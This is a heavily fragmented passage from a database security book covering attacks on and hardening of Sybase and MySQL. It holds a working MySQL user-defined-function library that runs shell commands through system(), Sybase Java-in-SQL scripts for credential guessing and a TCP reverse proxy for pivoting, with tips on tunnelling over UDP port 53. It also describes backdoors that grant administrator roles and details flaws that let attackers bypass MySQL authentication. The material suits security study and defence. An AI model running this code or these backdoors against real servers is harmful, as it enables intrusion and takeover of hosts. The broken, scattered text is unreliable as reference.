A few points of note in this example: First, we are creating a stored procedure to wrap the process of scanning a single port; this is simply good practice
...
There is no real need to
wrap the Java statements in a stored procedure; if the attacker doesn’t have
privileges to create a procedure, a simple batch of SQL statements would do
just as well
...
This is because of the lack of support for output parameters; the only
way we can get output from a Java method is via its return value
...
qxd
6/3/05
7:12 PM
Page 239
Sybase: Moving Further into the Network
own network
...
JSQL TDS Client
The following JSQL performs a native mode authentication to the Sybase
server on the specified host and TCP port
...
This is useful in security terms for a number of reasons
...
When attacking database servers you
frequently find yourself in a situation whereby you can issue arbitrary queries,
but only with the privilege level of an unprivileged user
...
In this situation, it is useful to be able to elevate privileges by guessing a valid username and password on the local server that has higher privileges
...
Another use for this script is to enable you to connect to other Sybase servers
in the same network (presumably a DMZ)
...
Bouncing around servers in this way
can enable you to island-hop between different filtered areas of the network
...
freetds
...
(Apologies for the VARBINARY strings and lack of comments
...
net
...
io
...
io
...
net
...
qxd
240
6/3/05
7:12 PM
Page 240
Chapter 15
set @p = @p + convert(varbinary(1), len(@user))
set @p = @p + @password + replicate(0x00, 30-len(@password))
set @p = @p + convert(varbinary(1), len(@password))
set @p = @p + 0x3131353200000000000000000000000000000000
set @p = @p + 0x00000000000000000000040301060a0901
set @p = @p + 0x01000000000000000000 + “SQL_Advantage”
set @p = @p + 0x0000000000000000000000000000000000
set @p = @p + 0x0d + “XXXXXXX” + 0x000000
set @p = @p + 0x0000000000000000000000000000000000000000
set @p = @p + 0x0700
set @p = @p + convert(varbinary(1), len(@password))
set @p = @p + @password + replicate(0x00, 30-len(@password))
set @p = @p + replicate( 0x00, 223 )
set @p = @p + 0x0c05000000 + “CT-Library”
set @p = @p + 0x0a05000000000d11
set @p = @p + 0x00 + “s_english”
set @p = @p + 0x0000000000000000000000000000
set @os = @os>>”write”(@p)
set @os = @os>>flush()
set @p = 0x02010063000000000000000000000000
set @p = @p + 0x0000000000000000000000000069736f
set @p = @p + 0x5f310000000000000000000000000000
set @p = @p + 0x00000000000000000000000500353132
set @p = @p + 0x0000000300000000e21800010a018608
set @p = @p + 0x336d7ffffffffe020a00000000000a68
set @p = @p + 0x000000
set @os = @os>>”write”(@p)
set @os = @os>>flush()
set @i = java
...
Thread
...
lang
...
currentThread()>>sleep( 1000 )
select @banner = 0x20
while( @is>>available() > 0 )
begin
24_578014 ch15
...
By reverse
proxy, we mean a program that establishes an outbound TCP connection to
both its client and the server that it is proxying for the client
...
Tricks like this are
limited only by your imagination; for instance, if the organization blocks all
outbound TCP traffic from the Sybase server (which would be a sensible policy) you could alter this script to use the DatagramSocket class instead, and
proxy a TCP connection over UDP port 53 — with traffic that looks like DNS
requests and responses
...
With this script (and another proxy on your attacking machine) you can use
the proxied connection to interact with the network that the Sybase server is
in
...
Another interesting point is that most firewalls don’t block loopback connections; you are likely to find it easier to compromise the database host if you can proxy loopback connections to RPC or
SSH daemons, for example
...
net
...
net
...
io
...
io
...
io
...
io
...
qxd
242
6/3/05
7:12 PM
Page 242
Chapter 15
declare @no_out integer
declare @no_in integer
declare @i integer
set @sout = new java
...
Socket( @outhost, @outport )
set @outis = @sout>>getInputStream()
set @outos = @sout>>getOutputStream()
set @sin = new java
...
Socket( @inhost, @inport )
set @inis = @sin>>getInputStream()
set @inos = @sin>>getOutputStream()
set @i = 0
while(@i < 60)
begin
if(@outis>>available() > 0)
begin
set @buffer = char(@outis>>”read”())
while( @outis>>available() > 0 )
begin
set @buffer = @buffer + char(@outis>>”read”())
end
set @inos = @inos>>”write”(convert(varbinary(2000),
@buffer))
set @no_out = 0
set @i = 0
end
else
set @no_out = 1
if(@inis>>available() > 0)
begin
set @buffer = char(@inis>>”read”())
while( @inis>>available() > 0 )
begin
set @buffer = @buffer + char(@inis>>”read”())
end
set @outos = @outos>>”write”(convert(varbinary(2000),
@buffer))
set @no_in = 0
set @i = 0
end
else
set @no_in = 1
if(( @no_in = 1 ) and ( @no_out = 1 ))
begin
set @no_in = java
...
Thread
...
qxd
6/3/05
7:12 PM
Page 243
Sybase: Moving Further into the Network
Trojanning Sybase
The options for inserting backdoors into a database system of Sybase’s complexity are numerous
...
Grant a User sa or sso_role
If you grant users sa_role, they can effectively do everything
...
name Login, sr
...
syslogins l
join master
...
suid = lr
...
syssrvroles sr on sr
...
srid
Allow Direct Updates to System Tables,
Grant Access to Selected System Tables
By default, users (even sa) are not permitted to directly modify system tables
(such as syslogins), even if they would otherwise be able to
...
The statement to allow updates is
sp_configure ‘allow updates to system tables’, 1
This is a dynamic configuration setting and thus takes effect immediately;
there is no need to restart the server
...
name “user”, u2
...
name object, c
...
name, p
...
uid = u
...
id = o
...
grantor = u2
...
spt_values v on p
...
number and v
...
id = c
...
colid) & convert(int, p
...
columns != 0 and p
...
columns is not null
union
select u
...
name grantor, o
...
name, p
...
qxd
244
6/3/05
7:12 PM
Page 244
Chapter 15
from sysprotects p
join sysusers u on p
...
uid
join sysobjects o on p
...
id
join sysusers u2 on p
...
uid
join master
...
action=v
...
type=’T’
where p
...
columns=0x00
or p
...
name
25_578014 ch16
...
Many issues become relevant only when an
enterprise-level database infrastructure is involved
...
Background
1
...
2
...
3
...
4
...
Operating System
1
...
245
25_578014 ch16
...
Use a low-privileged account to run Sybase
...
Run Sybase in a chroot jail
...
Restrict Sybase access to the filesystem
...
Restrict other users’ access to the Sybase directory
...
Enforce account password complexity and lockout
...
Remove privileges from the default sa account
...
Use (at least) one user per web application
...
Do not give users unnecessary privileges
...
Enable auditing
...
Disable xp_cmdshell
...
Disable Java if possible
...
Disable filesystem proxy table support if possible
...
Don’t install test databases/clear test data
...
Use strong authentication
...
Background
1
...
The most comprehensive source of information about Sybase is, somewhat unsurprisingly, Sybase itself
...
sybase
...
2
...
It’s always wise to check the Sybase update page for new releases,
patches, and so on because Sybase tends to patch security issues
promptly: http://www
...
com
...
Periodically search for alternative security documentation
...
qxd
6/3/05
7:01 PM
Page 247
Securing Sybase
It can be hard to find alternative sources of information about Sybase
security; there aren’t that many lockdown guides available outside of
the Sybase site
...
nii
...
in/resources/
Sybase
...
The Sybase FAQ page at ISUG (the International Sybase User Group) is
extremely informative: http://www
...
com/Sybase_FAQ/
...
Periodically search vulnerability databases
...
The ICAT Metabase is a database created by the National
Institute of Standards and Technology in the United States
...
nist
...
Security Focus also has an online vulnerability database: http://
www
...
com/bid
...
Operating System
1
...
It makes sense to implement some kind of host-based network packet
filtering mechanism, to ensure that only legitimate hosts can connect to
the Sybase server
...
Finally, it might help protect the rest of your network from further compromise should the Sybase server be successfully attacked
...
It also makes sense to use network-based packet filters, both to protect
your Sybase servers from the rest of your network, and to protect the
rest of your network from your Sybase servers
...
Use a low-privileged account to run Sybase
...
This is the default on some platforms but not others
...
qxd
248
6/3/05
7:01 PM
Page 248
Chapter 16
investing the time to determine how much you can restrict the user that
Sybase is running as
...
Run Sybase in a chroot jail
...
This will restrict the files that the Sybase process has access to, which
can be an extremely effective security measure
...
4
...
As a part of your lockdown, it is wise to restrict Sybase’s level of access
to the rest of the filesystem
...
5
...
As an additional file access lockdown, you might want to restrict the
level of access that other users have to the Sybase directory structure
...
Sybase Users
1
...
Enforce the use of strong passwords for Sybase accounts
...
x has a
number of excellent features for ensuring user password security
...
To set the limit globally:
sp_configure “maximum failed logins”, 5
To set the limit for a user:
sp_addlogin test, “foobar432”, maxfailedlogins = 2
To set the limit for a role:
create role test_role with passwd “test432”, max failed_logins 5
You can use sp_modifylogin to set the limit for a user after an account
has been created, or “alter role” to set the limit for an existing role
...
qxd
6/3/05
7:01 PM
Page 249
Securing Sybase
You can specify a minimum password length globally, using the
statement
sp_configure “minimum password length”, 4
Or you can set the length for a specific user like this:
sp_modifylogin “test”, @option=”min passwd length”, @value=”9”
2
...
You might want to remove privileges from the default sa account, and
instead set up a number of separate, role-based database administration
accounts (that have either the sa_role or sso_role)
...
Attackers may not have access to a mechanism
that allows them to retrieve all users’ usernames, so this can be a helpful lockdown step
...
Use (at least) one user per web application
...
In fact,
if you can possibly get away with it, separate out the “roles” required
by the web application and use a different user for each role in each
application — so for example, the part of the application that displays
only data should have only select permissions, the part that updates the
data should have only update permissions, and so on
...
For example,
the attacker might be able to retrieve a specific subset of the data in
the database but not change it
...
■
■
If you use the same account for all of your web applications, your
data is only as secure as your least secure web application
...
Do not give users unnecessary privileges
...
Broadly speaking, the less an account can do, the better protected
your data is
...
qxd
250
6/3/05
7:01 PM
Page 250
Chapter 16
Sybase Configuration
1
...
Sybase does not install the auditing components by default
...
Auditing is covered in depth in Chapter 12 of the Sybase ASE System
Administration Guide, and we recommend that you read that chapter
before proceeding, but briefly:
You can use the auditinit program or the installsecurity sql script to
install the auditing capability
...
Sybase recommends
that you use at least two tables on separate devices so that audit logs
can be archived from one table while another table is being written to
...
Use
sp_addthreshold to add the procedure
...
This should be tuned to an appropriate value for
your configuration — low values will mean more disk access, high
values will mean better performance but an increased risk of the data
in the queue being lost in the event of a server crash
...
Set this to 1 if you
want to halt the audit process and all user processes that cause an audit
event if the device is full; set it to 0 if you want older audit tables to be
overwritten automatically
...
Once auditing is correctly configured, you can control what gets logged
using the sp_audit procedure
...
As previously noted, having a good audit log can really help to diagnose
problems even in routine, everyday use
...
qxd
6/3/05
7:01 PM
Page 251
Securing Sybase
diagnose security problems, but you must have some sensible procedural framework around the manner in which you use the logs if you
want to get the most out of your audit logs
...
Disable xp_cmdshell
...
If you aren’t using
it, xp_cmdshell should be removed
...
This will force xp_cmdshell to use the
security context of the currently logged-in user, which must be an
administrator under Windows NT
...
If “xp_cmdshell context” is set to 0,
xp_cmdshell will execute in the security context of the user that Sybase
is running as; this may pose a serious security risk
...
3
...
As detailed in previous chapters, the Java support in Sybase, while an
exceptionally powerful feature, can be abused by an attacker
...
4
...
The extensive filesystem interaction features in Sybase present an
extremely useful feature in some situations but could pose a serious
security problem; if you are not using them — and they are currently
enabled — you should disable them
...
Don’t install test databases/clear test data
...
251
25_578014 ch16
...
Use strong authentication
...
If possible, one of these mechanisms should be used rather than the
mechanism built into Sybase
...
For a full description of how to interface
Sybase and these third-party authentication, encryption, and integrity
mechanisms, see Chapter 14 of the Sybase System administration guide
...
qxd
6/3/05
7:02 PM
Page 253
PA R T
VI
MySQL
26_578014 pt06
...
qxd
6/3/05
7:09 PM
Page 255
CHAPTER
17
MySQL
Architecture
Examining the Physical Database Architecture
MySQL claims to be “The world’s most popular open source database,” and
with good reason
...
It’s relatively simple, easy to configure, and performs well even under significant
load
...
MySQL is a somewhat unusual open source project in that the source code
for the database server is owned by a company (MySQL AB, based in Sweden)
and released under both the GPL and a commercial license
...
MySQL AB recommends that the database server be installed from a binary
package rather than by building the source code
...
qxd
256
6/3/05
7:09 PM
Page 256
Chapter 17
Linux AMD64
Windows
Solaris
FreeBSD
Mac OS X
HP-UX
IBM AIX
QNX
Novell Netware
OpenBSD
SGI IRIX
DEC OSF
and the source code itself will build on an even wider variety of platforms
...
0 and 4
...
Deployment
Because it’s so popular, and free, you find MySQL servers in all manner of
places on a network
...
In a typical configuration, a client will connect to MySQL over TCP port
3306
...
By default, MySQL running in named pipe mode will
listen on both TCP port 3306 and a named pipe called MySQL
...
0
...
The
SSL-enabled versions still run over TCP port 3306, and negotiate SSL in-stream
...
Some versions also return a clue to the operating system, for example 4
...
18-nt is returned
by version 4
...
18 of the Windows build of MySQL
...
qxd
6/3/05
7:09 PM
Page 257
MySQL Architecture
see in a network are correct
...
Perhaps the most common use for MySQL is to provide a backend to dynamic
web applications
...
In larger environments it
may be used as a logging server, as the destination for Intrusion Detection System logs, web logs, or other audit tasks
...
And then there are a number of reasons
why a user would run MySQL on their own desktop machine, so it is not
unusual to find MySQL instances on workstations, especially in development
environments
...
There are several advantages to this approach; it means that
the data is encrypted in transit, it enforces an additional authentication step,
and it also provides an additional audit record of connections to the database
...
mysql
...
html
and
http://dev
...
com/doc/mysql/en/Secure_connections
...
This configuration leads to dangers of its own, however
...
From another perspective, a SQL injection bug in the web application may well lead to the attacker being able to
modify the contents of scripts on the web server
...
WinMySQLAdmin Autostart
When MySQL is installed on a Windows platform, the WinMySQLAdmin tool
is supplied with it
...
qxd
258
6/3/05
7:09 PM
Page 258
Chapter 17
the startup group for the user that runs it
...
Also, when WinMySQLAdmin is run on a host that has no default MySQL
user account, it prompts for a username and password pair to create
...
ini file in the system root
directory (for example, c:\winnt)
...
Default Usernames and Passwords
The default configuration of MySQL varies depending on the platform, mode
of deployment, distribution (source or binary), and initial configuration, but in
some cases it is possible for a remote attacker to compromise a MySQL server
immediately after installation
...
0
...
user table: two entries for root and two entries for
the anonymous account
...
The precise semantics of entries in these tables
are discussed in detail later in this chapter, but for now, here’s what they mean
in simple terms:
■■
If you are on the local host, you can authenticate as “root” with a blank
password and have total control of the database
...
■■
If you are on a remote host, but can control the server’s name resolution
in order to make your apparent hostname “build,” you can authenticate
as root with a blank password and have total control of the database
...
On a Windows host, the presence of the root account results in any local user
being able to upgrade themselves to local system-level access (MySQL runs as
SYSTEM by default)
...
Obviously the attacker would have to be in the same NetBIOS
name domain as the target, or have the ability to spoof a DNS response
...
Create a User Defined Function dll on the remote host via select
...
The function should allow the upload and execution of
27_578014 ch17
...
exe
...
2
...
3
...
Because it’s running as SYSTEM it
can do anything on the machine, including installing Trojans and
adding accounts
...
Spybot
...
The best protection against this problem is to do the following:
1
...
2
...
user
table except the localhost root account
...
Apply a complex password to the localhost root account
...
This protocol is relatively simple, and writing a custom client
for MySQL is fairly straightforward
...
The following section is a brief précis of
known flaws in the various versions of the authentication protocol, along with
an overview of other attacks on it
...
When a client connects, the server sends a greeting packet, which contains
the following fields:
Packet Length (3 bytes)
Packet Number (1 byte)
Protocol Version (1 byte)
Server Version String (null-terminated)
Server Thread ID (4 bytes)
Challenge String (null-terminated)
Server Capabilities Flags (2 bytes)
259
27_578014 ch17
...
The client then sends an authentication packet to the server:
Packet Length (3 bytes)
Packet Number (1 byte)
Client Capabilities (2 bytes)
Max packet size (3 bytes)
Username (null terminated)
Password (null terminated challenge response)
Bugs in the Authentication Protocol
There have been a fairly significant number of bugs in the MySQL authentication protocol
...
Basic Cryptographic Weakness in the
Authentication Protocol Prior to 4
...
1, knowledge of the password hash
(contained in the mysql
...
This means that there is almost no point in writing a
password cracker for the password hashes in MySQL versions prior to 4
...
Of course, users tend to re-use
passwords (especially root passwords) so cracking any password hash is of
some value when the security of the network as a whole is taken into account
...
23
...
23
...
It turns out that the scrambled
string consists of characters from a set of 32, so the attacker needed only a
small number of guesses to log in
...
qxd
6/3/05
7:09 PM
Page 261
MySQL Architecture
CHANGE_USER Prior to 3
...
54
In MySQL versions prior to 3
...
54, if the user could authenticate, he could then
issue a CHANGE_USER command with either an overly long string (to trigger
a buffer overflow) or a single byte string, to allow easy privilege elevation
...
1
...
1
...
0
...
1
...
1
...
0
...
cpp), line ~837:
/*
Old clients send null-terminated string as password; new clients
send
the size (1 byte) + string (not null-terminated)
...
*/
uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
*passwd++ : strlen(passwd);
Provided 0x8000 is specified in the client capabilities flags, users can specify
the passwd_len field of their choice
...
Several checks are now carried out to ensure that the user is authenticating
from a host that is permitted to connect
...
qxd
262
6/3/05
7:09 PM
Page 262
Chapter 17
my_bool
check_scramble_323(const char *scrambled, const char *message,
ulong *hash_pass)
{
struct rand_struct rand_st;
ulong hash_message[2];
char buff[16],*to,extra;
/* Big enough for check
*/
const char *pos;
hash_password(hash_message, message, SCRAMBLE_LENGTH_323);
randominit(&rand_st,hash_pass[0] ^ hash_message[0],
hash_pass[1] ^ hash_message[1]);
to=buff;
for (pos=scrambled ; *pos ; pos++)
*to++=(char) (floor(my_rnd(&rand_st)*31)+64);
extra=(char) (floor(my_rnd(&rand_st)*31));
to=buff;
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1;
/* Wrong password */
}
return 0;
}
At this point, the user has specified a scrambled string that is as long as he
wants
...
The final loop compares each character in the scrambled string
against the string that MySQL knows is the correct response, until there are no
more characters in scrambled
...
This bug is relatively easy to exploit, although it is necessary to write a custom MySQL client in order to do so
...
The buffer is overflowed with characters output from my_rnd(), a pseudo random number generator
...
0x5f
...
The attacker must know or be able to guess the name of a user in order for
either of these attacks to work, so renaming the default MySQL root account is
a reasonable precaution
...
27_578014 ch17
...
■
■
Does the database support batched queries?
■
■
Does the database support procedures, functions, and triggers?
MySQL Logical Database Architecture
MySQL has a relatively simple default system schema
...
For each database,
there is a directory beneath the MySQL root directory with the same name
as the database
...
frm (the definition of the structure of the table),
...
MYD (which contains the actual data for the table)
...
On most platforms, the files that make up the tables are not held locked,
with the exception of the mysql/user
...
myi files
...
Also, on most platforms it is possible to read the password hashes from the mysql/user
...
Another interesting consequence of the file-per-table approach is that it is possible to add tables to the database without needing to execute CREATE TABLE
...
qxd
264
6/3/05
7:09 PM
Page 264
Chapter 17
If you have the files that make up a table, you can normally simply copy them
into the appropriate directory and the tables will immediately be available
...
If you have access to the files, you can effectively edit
the data — this shouldn’t really be surprising, but its worth remembering
because it’s much easier to do this in MySQL than in most other DBMS
...
” These components perform
the task of physically storing the data within a table (and associated indexes)
on the disk
...
0
...
A brief discussion of the features of each is listed in
Table 17-1
...
It stores data in three files:
...
MYD
(the actual data), and
...
It does not support transactions
...
23
...
A “merge”
table is a collection of MyISAM tables that can be used as though
they were a single table
...
An additional restriction on merge tables is that all of the tables
must be in the same database (though this restriction was removed
in version 4
...
1)
...
This is obviously very quick to access, but should be used
sparingly
...
frm file in the relevant database directory, but
obviously the actual data held in the table will disappear if the
MySQL server is stopped
...
qxd
6/3/05
7:09 PM
Page 265
MySQL Architecture
Table 17-1 (continued)
ENGINE
NOTES
BDB
Berkeley Data Base tables support transactions
...
In
many respects they are similar to InnoDB tables
...
Its use is now deprecated,
though it may be useful in situations where you have to share data
between a new and an old version of MySQL
...
InnoDB
InnoDB is the transactional storage engine of choice in MySQL
...
0 onward, though it is available in older,
3
...
It is
the “industrial strength” storage engine for databases that require
both transactional and referential integrity, coupled with good
performance
...
Filesystem Layout
All table types in MySQL result in the storage of a
...
All other file or system interaction is specific to the storage
engine in question
...
On Windows, MySQL supports customized symbolic link syntax
...
sym, where mydatabase is
the desired name of the database, and put the path to a directory into the file,
like this:
c:\data\mydatabase
MySQL will use the directory c:\data\mydatabase for the mydatabase
database
...
For instance,
265
27_578014 ch17
...
In terms of writing custom code to extend MySQL, versions 3
...
Stored procedures are scheduled for implementation in version 5
...
Examining Users and Groups
This section covers the following:
■■
Where is user and group account information stored?
■■
Who are the powerful users?
■■
How are passwords encrypted?
■■
Cryptographic analysis of hashing algorithms with regard to hash
chaining and building optimized password crackers
...
In common with most DBMSes, it is possible to restrict user access on an individual field in a table, as well as to a set of
predetermined system privilege levels, governing things like the ability to interact with the filesystem and shut down the database
...
A restriction of the MySQL privilege model (at least in the current production versions) is that it isn’t possible to define row-level security
...
The tables that are relevant to user (and host) privileges are user, host, db,
tables_priv, and columns_priv
...
The user table is responsible for the first of these two verifications
...
user;
+-----------------------+-----------------------------------+------+----+---------+-------+
| Field
| Type
| Null | Key
| Default | Extra |
+-----------------------+-----------------------------------+------+----+---------+-------+
| Host
| varchar(60)
|
| PRI
|
|
|
27_578014 ch17
...
qxd
268
6/3/05
7:09 PM
Page 268
Chapter 17
| x509_issuer
| blob
|
|
|
|
|
| x509_subject
| blob
|
|
|
|
|
| max_questions
| int(11) unsigned
|
|
| 0
|
|
| max_updates
| int(11) unsigned
|
|
| 0
|
|
| max_connections
| int(11) unsigned
|
|
| 0
|
|
+-----------------------+-----------------------------------+------+----+---------+-------+
31 rows in set (0
...
The first field, host, contains
a wildcard expression that describes the hosts that the user in question is
allowed to log on from
...
This field is 16 characters wide in versions prior to 4
...
1 and onward
...
The host field can be specified as a fully qualified DNS name
(such as client
...
com), a wildcard expression to encompass every host
in a DNS domain (such as %
...
com), an IP address (such as 10
...
1
...
58
...
0/255
...
255
...
The user field can also be an empty string, meaning that any username is
valid
...
A brief
rundown of these is provided in Table 17-2
...
qxd
6/3/05
7:09 PM
Page 269
MySQL Architecture
Table 17-2 (continued)
GRANT
Grant_priv
Grant privileges to databases
or tables
REFERENCES
References_priv
Databases or tables
CREATE TEMPORARY
TABLES
Create_tmp_table_priv
Server administration
EXECUTE
Execute_priv
Server administration
FILE
File_priv
File access on server host
LOCK TABLES
Lock_tables_priv
Server administration
PROCESS
Process_priv
Server administration
RELOAD
Reload_priv
Server administration
REPLICATION
CLIENT
Repl_client_priv
Server administration
REPLICATION
SLAVE
Repl_slave_priv
Server administration
SHOW DATABASES
Show_db_priv
Server administration
SHUTDOWN
Shutdown_priv
Server administration
SUPER
Super_priv
Server administration
Once it has been determined that a user can connect to the server, we move
on to the second purpose of the tables — the verification of whether a user can
perform a given operation
...
The coarsest granularity is privileges per
database, which are determined by the db table:
mysql> describe mysql
...
qxd
270
6/3/05
7:09 PM
Page 270
Chapter 17
| Index_priv
| enum(‘N’,’Y’) |
|
| N
|
|
| Alter_priv
| enum(‘N’,’Y’) |
|
| N
|
|
| Create_tmp_table_priv | enum(‘N’,’Y’) |
|
| N
|
|
| Lock_tables_priv
| enum(‘N’,’Y’) |
|
| N
|
|
+-----------------------+---------------+------+-----+---------+-------+
15 rows in set (0
...
The hosts table looks like this:
mysql> describe mysql
...
05 sec)
The tables_priv and columns_priv tables describe the privileges available
on specific tables (Insert, Update, Delete, Create, Drop, Grant, References, Index,
Alter) and columns (Select, Update, Delete, References) to individual users
and hosts:
mysql> describe mysql
...
qxd
6/3/05
7:09 PM
Page 271
MySQL Architecture
| Host
| char(60)
|
| PRI |
|
|
| Db
| char(64)
|
| PRI |
|
|
| User
| char(16)
|
| PRI |
|
|
| Table_name | char(60)
|
| PRI |
|
|
| Grantor
| char(77)
|
| MUL |
|
|
| Timestamp
| timestamp
| YES |
| NULL
|
|
| Table_priv |
set(‘Select’,’Insert’,’Update’,’Delete’,’Create’,’Drop’,’Grant’,’Referen
ces’,’Index’,’Alter’) |
|
|
|
|
| Column_priv | set(‘Select’,’Insert’,’Update’,’References’)
|
|
|
|
|
+-------------+----------------------------------------------------------------------------------------------+------+-----+---------+-------+
8 rows in set (0
...
columns_priv;
+-------------+----------------------------------------------+------+----+---------+-------+
| Field
| Type
| Null |
Key | Default | Extra |
+-------------+----------------------------------------------+------+----+---------+-------+
| Host
| char(60)
|
|
PRI |
|
|
| Db
| char(64)
|
|
PRI |
|
|
| User
| char(16)
|
|
PRI |
|
|
| Table_name | char(64)
|
|
PRI |
|
|
| Column_name | char(64)
|
|
PRI |
|
|
| Timestamp
| timestamp
| YES |
| NULL
|
|
| Column_priv | set(‘Select’,’Insert’,’Update’,’References’) |
|
|
|
|
+-------------+----------------------------------------------+------+----+---------+-------+
7 rows in set (0
...
qxd
272
6/3/05
7:09 PM
Page 272
Chapter 17
aspects of the behavior of the database that are not subject to access controls,
and can be exercised by any user, whatever their privilege level
...
user
table, such as GRANT_PRIV, SUPER_PRIV, and so on
...
Passwords are encrypted in different ways depending on their format
...
Both of these password hash formats are easily brute-forced, so the use of
long and obscure passwords is encouraged — at least ten characters in length
and containing at least one digit and punctuation symbol
...
Normally, it is possible to brute-force the password on the basis of a single sniffed
successful connection
...
There have historically been various design flaws in MySQL, mainly affecting the authentication protocol, which were discussed previously in this chapter
...
Flaws in the authentication mechanism that allow remote users to authenticate without credentials are probably the most serious category of architectural flaw
...
As an example, an extremely useful feature of Microsoft SQL Server
is the ability to execute queries on remote database servers — for example, you
might send a query to server MS that looks something like this:
27_578014 ch17
...
; MySQLHost, root, password; ‘select * from
mysql
...
)
The OpenRowset statement in SQL Server allows you to issue a query to
another server — running a different DBMS — in the middle of your SQL Server
query
...
One of the most popular abuses is to use
this functionality as a means of portscanning the network that the SQL Server is
in, since it will take different lengths of time to respond depending on whether
the remote host is present, is a SQL Server, or is absent altogether
...
The problem is that if behavior is too simple, safeguards against abuse
can sometimes be missing
...
The basic principle is that
the user creates a dynamically loadable library (
...
so —
shared object — in Linux) that the database can then call into on the basis of a
SQL statement
...
If a malicious UDF can be created and executed by a MySQL user, the
security of the entire database server is in jeopardy
...
MySQL provides a mechanism by which the default set of functions can be
expanded, by means of custom-written dynamic libraries containing userdefined functions, or UDFs
...
func table can be added
manually
...
An attacker would typically abuse this mechanism by creating a malicious
library and then writing it to an appropriate directory using SELECT
...
Once the library is in place, the attacker then needs update or insert
access to the mysql
...
The source code for a quick example UDF library is shown here (apologies
for the lack of tidiness):
273
27_578014 ch17
...
h>
#include
c
then
gcc -g -shared -W1,-soname,so_system
...
0 -o so_system
...
0
...
o -lc
*/
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args
{
unsigned int arg_count;
/* Number of arguments */
enum Item_result *arg_type;
/* Pointer to item_results */
char **args;
/* Pointer to argument */
unsigned long *lengths;
/* Length of string arguments */
char *maybe_null;
/* Set to 1 for all maybe_null
args */
} UDF_ARGS;
typedef struct st_udf_init
{
char maybe_null;
/* 1 if function can return NULL */
unsigned int decimals;
/* for real functions */
unsigned long max_length; /* For string functions */
char
*ptr;
/* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;
int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char
*error)
{
if( args->arg_count != 1 )
return 0;
system( args->args[0] );
return 0;
}
The function can be added to MySQL like this:
mysql> create function do_system returns integer soname ‘so_system
...
00 sec)
The mysql
...
func;
+-----------+-----+--------------+----------+
| name
| ret | dl
| type
|
+-----------+-----+--------------+----------+
27_578014 ch17
...
so | function |
+-----------+-----+--------------+----------+
1 row in set (0
...
txt’);
+---------------------------------+
| do_system(‘ls > /tmp/test
...
02 sec)
Even if file permissions are such that the attacker cannot create a library of his
own on the target system, it is possible that he could use an existing function to
some harmful purpose
...
It is still possible to do bad things with the functions in existing system
libraries, however — for example, calling ExitProcess in Windows as a MySQL
UDF
...
17 sec)
mysql> select exitprocess();
ERROR 2013: Lost connection to MySQL server during query
You can also lock the currently logged-in user’s workstation (same as pressing CTRL-ALT-DEL and then lock computer):
mysql> create function LockWorkStation returns integer soname ‘user32’;
Query OK, 0 rows affected (0
...
)
The conclusion of all of this is the UDF mechanism in MySQL is an extremely
flexible and useful feature for developers, and is thus an equally useful feature
for attackers
...
func table), file permissions, and restricting the
275
27_578014 ch17
...
INTO OUTFILE are the best immediate defenses against this
kind of attack
...
1
...
0
...
This might be a problem for some users, and in some cases would lead to a less
secure configuration being used, where a more complex DBMS would have
been a better choice
...
One of the
things that users routinely want to do is change their passwords, so the warehousing software implements this feature as a query of the form
update mysql
...
On a system with row-level security, the attacker would still be
unable to change another user’s password, because he would only have rights
to update his own
...
1
...
Missing Features with Security Impact
MySQL has no inherent auditing of access violations (but it does support full
logging of every connection and query)
...
There is significant support for debug logging, however, and
it is easy to get MySQL to log every connection and statement to a log file, via
the --log option
...
Although these features are available, they are
not implemented in the default storage engine, MyISAM
...
The discussion does, however, point out some of
the possible issues that can occur if your DBMS is not sufficiently feature-rich
...
For example, suppose
you have an application that enforces its own security model via a table of
users:
27_578014 ch17
...
If we delete the user
joe, with id 2, like this:
delete from users where userid=2
all of the rows pertaining to joe in the table accesscontrol are still present
...
On a database that allowed referential integrity, we could specify that userid
was a foreign key in the accesscontrol table, such that when a row in users
is deleted, all of the corresponding rows in accesscontrol would be deleted
automatically
...
For example, suppose the company that implements the preceding system has a legal requirement to audit
every password change
...
qxd
278
6/3/05
7:09 PM
Page 278
Chapter 17
Suppose the connection to the server failed between these two queries
...
If we were using one of the (non-default) MySQL storage engines that
supported transactions, we could simply begin the transaction before the first
statement, and commit the transaction after the second, and there would be no
possibility of a password change going unaudited
...
0, MySQL did not support the UNION statement
...
0 could be considered to be more secure against SQL injection attacks than
other database systems
...
Besides, if you’re running an older version of MySQL you are likely to
be vulnerable to other security problems that are fixed in more recent versions
...
If an enterprising reader can
convince MySQL that this is a good idea, this author would be very grateful
...
1 do not support
subqueries
...
user)
...
Again, in the real world the absence of features is unlikely to sell MySQL to
management, let alone the development team
...
In SQL
Server, it is possible to retrieve data from tables in the text of error messages —
which is a behavior that (fortunately) the authors of MySQL have chosen (to
date, at least) not to emulate
...
qxd
6/3/05
7:08 PM
Page 279
CHAPTER
18
MySQL: Discovery,
Attack, and Defense
The previous chapter covered the structure of MySQL in terms of its physical
layout, logical structure, and feature set
...
Finding Targets
This section covers the following:
■
■
Scanning for MySQL
■
■
MySQL version numbers
■
■
Snooping authentication
Scanning for MySQL
If you’re auditing your network for MySQL servers, the first thing you’ll want
to know is where they are
...
■
■
By scanning Windows hosts in the network for the MySQL named pipe
...
qxd
280
6/3/05
7:08 PM
Page 280
Chapter 18
■■
By scanning Windows hosts for the HKEY_LOCAL_MACHINE\
SOFTWARE\MySQL AB registry key
...
■■
By enumerating Services on Windows hosts and checking for MySQL
...
Other ways exist, but this brief list should get you started
...
MySQL Version Numbers
The next thing you’ll want to know, having identified which hosts are MySQL
servers, is what versions of MySQL are running on those servers
...
Most port scanners will capture the banner that is sent to them and
report on it
...
0
...
23
...
It is normally fairly easy to determine the version of MySQL
...
Various vulnerability databases are available for free online that you can
search for bugs in the versions of MySQL that are present in your network
...
S
...
ICAT is available here:
http://icat
...
gov/
A list of known bugs in MySQL is provided later in this chapter for reference
...
0, there was no built-in encryption in the MySQL protocol
...
0, the encryption is optional
...
qxd
6/3/05
7:08 PM
Page 281
MySQL: Discovery, Attack, and Defense
and depending on the authentication mechanism used, it may even be possible to determine the password much more quickly than a conventional bruteforce attack
...
23
...
0
...
corest
...
The gist of this is that the cryptographic qualities of the hashing mechanism
used by these versions of MySQL are weak; if an attacker can obtain a number
of successful authentication sequences (for example by sniffing the network),
